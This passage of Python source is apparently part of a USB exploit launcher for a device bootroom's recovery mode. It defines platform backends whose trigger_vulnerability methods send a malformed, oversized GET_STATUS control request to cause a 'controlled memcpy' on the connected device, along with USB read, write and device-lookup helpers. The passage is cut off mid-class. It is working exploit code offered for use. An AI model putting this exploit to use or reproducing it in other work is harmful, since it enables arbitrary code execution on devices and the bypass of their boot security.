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STANDARD_REQUEST_DEVICE_TO_HOST = 0x80
GET_DESCRIPTOR = 0x6
GET_CONFIGURATION = 0x8
# Interface requests
GET_STATUS = 0x0
# List of OSs this class supports.
SUPPORTED_SYSTEMS = []
def __init__(self, skip_checks=False):
""" Sets up the backend for the given device. """
self.skip_checks = skip_checks
def print_warnings(self):
""" Print any warnings necessary for the given backend. """
pass
def trigger_vulnerability(self, length):
"""
Triggers the actual controlled memcpy.
The actual trigger needs to be executed carefully, as different host OSs
require us to ask for our invalid control request differently.
"""
raise NotImplementedError("Trying to use an abstract backend rather than an instance of the proper subclass!")
@classmethod
def supported(cls, system_override=None):
""" Returns true iff the given backend is supported on this platform. """
# If we have a SYSTEM_OVERRIDE, use it.
if system_override:
system = system_override
else:
system = platform.system()
return system in cls.SUPPORTED_SYSTEMS
@classmethod
def create_appropriate_backend(cls, system_override=None, skip_checks=False):
""" Creates a backend object appropriate for the current OS. """
# Search for a supportive backend, and try to create one.
for subclass in cls.__subclasses__():
if subclass.supported(system_override):
return subclass(skip_checks=skip_checks)
# ... if we couldn't, bail out.
raise IOError("No backend to trigger the vulnerability-- it's likely we don't support your OS!")
def read(self, length):
""" Reads data from the RCM protocol endpoint. """
return bytes(self.dev.read(0x81, length, 1000))
def write_single_buffer(self, data):
"""
Writes a single RCM buffer, which should be 0x1000 long.
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
If it's not, send a ZLP.
"""
return self.dev.write(0x01, data, 1000)
def find_device(self, vid=None, pid=None):
""" Set and return the device to be used """
import usb
self.dev = usb.core.find(idVendor=vid, idProduct=pid)
return self.dev
class MacOSBackend(HaxBackend):
"""
Simple vulnerability trigger for macOS: we simply ask libusb to issue
the broken control request, and it'll do it for us. :)
We also support platforms with a hacked libusb and FreeBSD.
"""
BACKEND_NAME = "macOS"
SUPPORTED_SYSTEMS = ['Darwin', 'libusbhax', 'macos', 'FreeBSD']
def trigger_vulnerability(self, length):
# Triggering the vulnerability is simplest on macOS; we simply issue the control request as-is.
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
class LinuxBackend(HaxBackend):
"""
More complex vulnerability trigger for Linux: we can't go through libusb,
as it limits control requests to a single page size, the limitation expressed